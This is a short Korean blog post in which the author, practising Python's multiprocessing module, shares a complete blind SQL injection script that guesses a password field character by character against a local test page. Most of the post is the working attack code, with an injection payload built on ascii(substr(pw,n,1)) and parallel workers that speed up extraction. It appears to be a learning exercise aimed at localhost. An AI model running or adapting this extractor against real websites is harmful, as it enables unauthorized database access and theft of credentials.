본문 바로가기
Coding/Python

Python Blind Sql Injection Tool with Multiprocessing

by Hide­ 2017. 12. 24.
반응형



파이썬 multiprocessing 모듈 복습겸 만들어봤다.

대상 페이지는 간단하게 인젝션이 통하는 페이지이다.

옛날에 업로드했던 소스는 한글자 한글자씩 뽑아냈지만 이번에는

multiprocessing 라이브러리를 사용하여 동시에 여러개의 글자를 뽑아냈다.

35번 라인부터 for문을 통해 프로세스를 생성하고 진행했더니

하나의 프로세스가 끝나면 다른 프로세스가 생성, 작업을 하길래

32, 33번 라인에서 map을 통해 문제를 해결했다.


[최종 소스]

from multiprocessing import Process, Manager, Value, Pool

import requests, os, time


class inject:

def __init__(self, true):

self.input = "abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_=+"

self.true = true


def attack(self, n):

print("[*] {0} : {1}".format(os.getpid(), n))

for i in range(0, len(self.input)):

id = "admin' and ascii(substr(pw,{0},1))='{1}'%23".format(n, str(ord(self.input[i])))

url = "http://127.0.0.1/config.php?id={0}&pw=1".format(id)

r = requests.get(url)

r.encoding = "utf8"

if self.true in r.text:

flag[n] = str(self.input[i])

break


if __name__ == '__main__':

targetSize = 8

m = Manager()

flag = m.dict()

result = ""

sqli = inject('admin')


p = Pool(4)

start = time.time()

p.map(sqli.attack, range(1,targetSize+1))

end = time.time()

for i in range(1, len(flag)+1):

result += dict(flag)[i]

print("[*] FLAG : ", result)

print("총 작업 시간 : "+str(end-start))